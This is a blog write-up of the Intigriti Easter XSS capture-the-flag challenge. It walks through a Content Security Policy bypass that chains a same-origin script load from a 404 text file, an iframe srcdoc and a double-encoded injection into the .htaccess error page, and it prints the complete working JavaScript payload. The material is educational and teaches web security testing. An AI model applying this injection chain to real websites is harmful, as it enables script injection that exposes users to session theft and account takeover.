Disclaimer: All the content posted here is strictly for educational purposes only. The author is not responsible for any harm caused using this content in any other way apart from the one intented.

Introduction

The Intigriti Easter XSS challenge was open from April 13 to Aril 19. I know I’m a little late to the party but this challenge took a lot of time for me to understand. Like many, I couldn’t solve it during the challenge days and waited for someone to post a writeup so that I can follow along and solve it. But that someone was none other than our dear @stok! To solve this challenge, there are some conditions we’re given. Let’s start by looking at the hints and let the fun begin!

UPDATE - Intigriti’s May XSS challenge is live!

The Hints

We are already provided with some Hints.

img

Why no self XSS ?

The need for an external delivery mechanism for the attack means that the impact of reflected XSS is generally less severe than stored XSS, where a self-contained attack can be delivered within the vulnerable application itself.

OK, so we want the impact to be more severe, hence no self-XSS.

The second hint and the most important one to note - Should bypass CSP. Hmm sounds cool. But what is CSP?

Mozilla Developer Network - CSP

Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft to site defacement to distribution of malware. CSP is designed to be fully backward compatible (except CSP version 2 where there are some explicitly-mentioned inconsistencies in backward compatibility; more details here section 1.1). Browsers that don’t support it still work with servers that implement it, and vice-versa: browsers that don’t support CSP simply ignore it, functioning as usual, defaulting to the standard same-origin policy for web content. If the site doesn’t offer the CSP header, browsers likewise use the standard same-origin policy. To enable CSP, you need to configure your web server to return the Content-Security-Policy HTTP header (sometimes you will see mentions of the X-Content-Security-Policy header, but that’s an older version and you don’t need to specify it anymore).

So, the site here has enabled CSP and we;re asked to bypass it.

Heading over to the Dev tools - (the fun part) - Press F12 -> Network > select our URL under the name ‘challenge.intigriti.io’

We see the content-security-policy: default-src ‘self’ - meaning a web site administrator wants all content to come from the site’s own origin (this excludes subdomains).

img

To know more about the CSP being implemented we can go to https://csp-evaluator.withgoogle.com/

Paste the site’s url https://challenge.intigriti.io/ in the box and click Check CSP. It evaluates the CSP for us.

img

The ‘object-src’ is really for older browsers so we can ignore it.

Let the Games begin!

Firstly, let’s start playing around.

We can just write an alert("@inti and @stok rocks!"); to check if the js is running correctly. We see the sweet pop-up.

But we need to bypass the CSP in order to solve this challenge.

img

The good guy @securinti used this csp bypass payload ->

var cspBypass = `<script src="https://challenge.intigriti.io/script.js"</script>`

And then

document.write(cspBypass);

so the final script ->

var cspBypass = `<script src="https://challenge.intigriti.io/script.js"</script>`;
document.write(cspBypass);

Before we jump into that let’s try putting the alert in place of the URL in the <script> tags

var cspBypass = `<script src=alert("@inti and @stok rocks!")</script>`

Not allowed, as it violates the CSP directive.

The ‘alert’ code will not be on the server so will not execute as per the CSP directive the site implements.

img

So, it is confirmed that the CSP bypass payload must be on the site’s page https://challenge.intigriti.io/ and not somewhere else.

Let’s start looking around for some interesting stuff. The page contains a dropdown list - 6 options are inside and the description is printed right underneath it.

We can also observe the ‘/#3’ on the URL bar. Here - 3rd option is selected and as per the JS code it will return that {option_no.txt}. And we know that the no. of options are 6.

Feel free to ZOOM-IN if you can’t view the screenshot.

img

Can we write something else than 1 to 6 here?

I literally tried writing something_else and after a hard refresh (ctrl+shift+R), we see an error message 404.

img

But if we observe closely, it is not a valid 404 error page, it’s just some text returned by the JS code.

It looks normal at a glance but looking closely, we can see that ‘404’ is an integer and the ‘-’ sign followed by the ‘string in quotes’. So let’s check if that returned text is valid JS or not in our dev tools console.

Just copy-paste the text in the console and hit enter

img

We don’t see any error message except the strange NaN - standing for ‘Not a Number’, meaning the JS is absolutely valid here. The 404 is coloured and so is the string. But the result of this JS code is NaN because ‘we’ are trying to subtract a ‘string’ from an integer which is impossible.

Moving on, I just double clicked on our something_else.txt to bring a new tab for injecting code directly on the URL bar.

img

img

So till now we have a valid javascript code with us only with a NaN. That’s fine for now.

Next, we’ll try to add a JS code that makes some sense -> an alert() maybe?

It works! We have the sweet pop-up again.

So what I did here is that I broke the string into 2 parts by adding a single quote (') and a ‘+’, wrote the JS code and again completed the string with a ‘+’ and a quote (').

I appended this on the URL ->'+alert(document.domain)+' -> we still get the 404 JS message but when we copy that JS in the console, we see the pop-up!

img

Observe the difference between the 2 lines -> the first gave us a NaN for subtracting string from a number but the second line did not show us any error and rendered the alert box.

Going back a bit we know that we don’t want self-XSS and must do the CSP bypass.

Let’s replace the script tag contents in the cspBypass with the URL containing the alert() code and run it.

var jsLocation = "https://challenge.intigriti.io/reasons/something_else.txt'+alert(document.domain)+'";
var cspBypass = `<script src="${jsLocation}"</script>`;
document.write(cspBypass);

Struggled a lot here because it was just not working.

Then it struck me that I was using ‘+’ that means string append. Maybe JS is not considering this a valid string and not rendering it, so I replace it with a ‘-’ and it worked!

I ran it twice for it to work. Strange behaviour sometimes.

img

So the final payload ->

var jsLocation = "https://challenge.intigriti.io/reasons/something_else.txt'-alert(document.domain)-'";
var cspBypass = `<script src="${jsLocation}"</script>`;
document.write(cspBypass);

Running test JS code we used earlier again ->

Using ‘+’ -> pop up appeared and after closing it, we see the result ->

img

Using ‘-’ gave me NaN -> pop up appeared and after closing it ->

img

Maybe due to the earlier result, JS was not triggering the alert when we tried to CSP bypass it.

I thought that the challenge was over here for a second but I learnt that till now, we have done only a POC for the CSP bypass but we still have only a self-xss.

OK. So this still won't be run from the server.

Figuring out how we do it -> In the dev tools heading over to the script.js ->

img

We have the innerHTML parameter of the Element class

img

img

With all the above information, remove the document.write() and add the reason variable into our code and pass it the cspBypass.

var jsLocation = "https://challenge.intigriti.io/reasons/something_else.txt'-alert(document.domain)-'";
var cspBypass = `<script src="${jsLocation}"</script>`;
var reason = document.getElementById("reason");
reason.innerHTML = cspBypass;

Hard refresh and run.

img

It doesn’t work.

But why?

It seems that it doesn’t load external scripts and features. We must invoke it after the page has loaded.

An <iframe> maybe? The <iframe> tag specifies an inline frame. An inline frame is used to embed another document within the current HTML document. With the <iframe> we will use the srcdoc attribute for the HTML injection in order to perform XSS from the server side (stored).

img

We will do this as follows - In the JS console -

  1. Create a new <iframe> element.
  1. Assign the cspBypass payload to iframe.srcdoc.
  1. And assign theiframe.outerHTML i.e (framedCspBypass) to reason.innerHTML.
var jsLocation = "https://challenge.intigriti.io/reasons/something_else.txt'-alert(document.domain)-'";
var cspBypass = `<script src="${jsLocation}"</script>`;

var iframe = document.createElement("iframe"); //iframe element created
iframe.srcdoc = cspBypass;
var framedCspBypass = iframe.outerHTML; 

var reason = document.getElementById("reason");
reason.innerHTML = framedCspBypass;

We get the following result ->

"<iframe srcdoc="<script src=&quot;https://challenge.intigriti.io/reasons/something_else.txt'-alert(document.domain)-'&quot;</script>"></iframe>"

It did not work earlier.

Turned out it was a stupid syntax error -> I had forgotten to close the <script src = "....">.

Rest assured, I have fixed it in the above code already. A big lesson learnt - always pay attention to the syntax.

img

As we can see after running the above script, we have an iframe which contains our XSS payload but we can’t stop here we have to make an HTML injection to exploit it.

Inspecting the iframe element ->

img

OK, so where can we have our our HTML injection?

Earlier, we had got a 404 message which contained only JS code.

How can we get a similar message - only this time a real one - when we try to access something which is not present on the server?

Answer: Either a ‘page not found 404’ or a ‘forbidden 403’.

Let’s try 403 first -> by accessing /.htaccess.

An .htaccess (hypertext access) file is a directory-level configuration file supported by several web servers, used for configuration of website-access issues, such as URL redirection, URL shortening, access control (for different web pages and files), and more. The ‘dot’ (period or full stop) before the file name makes it a hidden file in Unix-based environments.

img

I tried to also put some JS and it did not run here. It took it as plaintext.

How can we bypass that? We go back to the script.js and observe that the script is using unescape() to decode strings.

img

unescape

img

img

Now, the browser by default single-decodes characters in the address bar so in order to trick the browser we must double encode the URI component.

Ok.

So till now, we could bypass the CSP, get the iframe for HTML injection. But when we try to inject HTML it won’t execute, as it requires decoding we discussed above.

For Demo purposes looking at the homepage ->

img

To solve it, we have to define 2 functions and give 1 call. That’s it.

//1. 
function getXSS(content){
	window.open("https://challenge.intigriti.io/#.htaccess"+content);
}
//or window.open("https://challenge.intigriti.io/#.ht"+content);
//2. 
function doubleEncode(string){
    return encodeURIComponent(encodeURIComponent(string));
}
//3. call -
getXSS(doubleEncode(framedCspBypass));

So, the FINAL CODE ->

var jsLocation = "https://challenge.intigriti.io/reasons/something_else.txt'-alert(document.domain)-'";
var cspBypass = `<script src="${jsLocation}"></script>`;
	
var iframe = document.createElement("iframe");
iframe.srcdoc = cspBypass;
var framedCspBypass = iframe.outerHTML;
	
function getXSS(content){
	window.open("https://challenge.intigriti.io/#.htaccess"+content);
}
//or window.open("https://challenge.intigriti.io/#.ht"+content);

function doubleEncode(string){
    return encodeURIComponent(encodeURIComponent(string));
}

Now, call the getXSS function -

getXSS(doubleEncode(framedCspBypass));

img

After calling the getXSS function, it opens a new tab and it triggers the XSS!

img


We have solved the challenge!

The End.


Closing Remarks

I hope you all enjoyed this and learnt something really cool!

A big-big shoutout to @stok and @securinti for simplifying this Himalayan challenge! I had watched the video at least 13-15 times while taking notes and watched again while writing this blog. That’s why it took so long for this post.

Takeaways:

  1. We learnt what is CSP and how to bypass it.
  2. We understood the importance of stored-XSS exploits.
  3. We learnt a little bit of JavaScript and how to write JS functions.
  4. We got to know about iframe and the unescape function.
  5. Above all, we did everything using only the browser’s developer tools and not Burp Suite!

Please provide your feedback if you like it or have any suggestions.

Please share this post on your favourite social-media platforms and with your friends.

Many thanks once again.

Good-bye until next time.

Stay n00b. Stay Humble.